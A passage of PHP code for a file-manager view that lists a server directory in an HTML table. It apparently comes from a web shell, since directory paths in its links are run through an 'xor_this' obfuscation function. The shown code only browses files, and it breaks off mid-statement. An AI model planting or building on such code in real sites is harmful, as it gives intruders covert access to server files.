function csort(&$array, $column, $sort_order = ASC) { /*$i=0; for($i=0; $i<count($array); $i++){ $sortarr[]=$array[$i][$column]; } array_multisort($sortarr, $sort_order,SORT_STRING, $array); return($array); */ sortRows($array, array(array('name' => $column, 'dir' => $sort_order))); }
$size_document_root = strlen($_SERVER['DOCUMENT_ROOT']); $pos = strrpos($dir, "/"); $topdir = substr($dir, 0, $pos + 1); $i = 0; while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { $rows[$i]['data'] = $file; $rows[$i]['dir'] = is_dir($dir . "/" . $file); $i++; } } closedir($handle); $size = count($rows); echo "\n\t\t\t\t<table class='flat-table flat-table-1'>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>Type</th>\n\t\t\t\t\t\t<th>Name</th>\n\t\t\t\t\t\t<th>Size (bytes)</th>\n\t\t\t\t\t\t<th>Permissions</th>\n\t\t\t\t\t\t<th>Actions</th>\n\t\t\t\t\t</tr>\n\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>[UP]</td>\n\t\t\t\t\t\t<td><a href='", $_SERVER['PHP_SELF'], "?dir=", xor_this($topdir), "#File Manager'>..</a></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>"; if ($size != 0) { $rows = sortRows($rows); for ($i = 0; $i < $size; ++$i) { $topdir = $dir . "/" . $rows[$i]['data']; echo "\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td>"; if ($rows[$i]['dir']) { echo "[DIR]"; $file_type = "dir"; } else { echo "[FILE]"; $file_type = "file"; } echo "\n\t\t\t\t\t\t\t</td>"; if (is_readable($topdir)) { echo "\n\t\t\t\t\t\t\t<td><a href='", $_SERVER['PHP_SELF'], "?dir=", xor_this($topdir), "#File Manager'>", htmlspecialchars($rows[$i]['data']), "</a></td>"; } else { echo "\n\t\t\t\t\t\t\t<td>" . htmlspecialchars($rows[$i]['data']) . "</td>";